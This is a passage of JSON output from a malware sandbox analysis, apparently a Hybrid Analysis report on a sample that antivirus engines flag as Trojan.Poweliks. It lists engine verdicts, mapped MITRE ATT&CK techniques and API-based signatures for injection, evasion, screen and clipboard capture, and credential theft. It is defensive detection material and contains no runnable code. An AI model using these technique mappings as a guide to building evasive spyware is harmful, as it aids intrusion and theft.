name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.ZPACK.Gen2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Poweliks.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.Agent-37037","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Zbot_GTR_MTB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Poweliks.A (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"Win32/Poweliks.A trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Trojan.Powerliks.a.ykwc","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Gen.cc!s4","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0056ebc31 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Zbot.lZGk","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_query_environment_variable","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Downloader-FAAZ!0181850239CD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Trojan.OPCJ-3741","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Generic.CCMO","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Poweliks.Win32.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Poweliks","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"suspicious","value":"Contains ability to modify thread functionality - possible hijack (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","identifiers":[{"type":"suspicious","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - Medium entropy File"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"suspicious","value":"Attempts to retrieve the system language code"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"suspicious","value":"Contains ability to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-12","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with high confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"high\" confidence","origin":"Static Analysis","id":"mlmodel-16","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$22","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-161","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - 6$\\.\\V; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564","id":"string-145","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.003","id":"string-309","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesExW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"sample.bin\"), Found reference to API \"GetSystemDirectoryA\" (Indicator: \"GetSystemDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-205","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-188","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-915","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6891eaa2014d64d59d01f144"},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a97c9f8f524aa3517056266"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersion\" 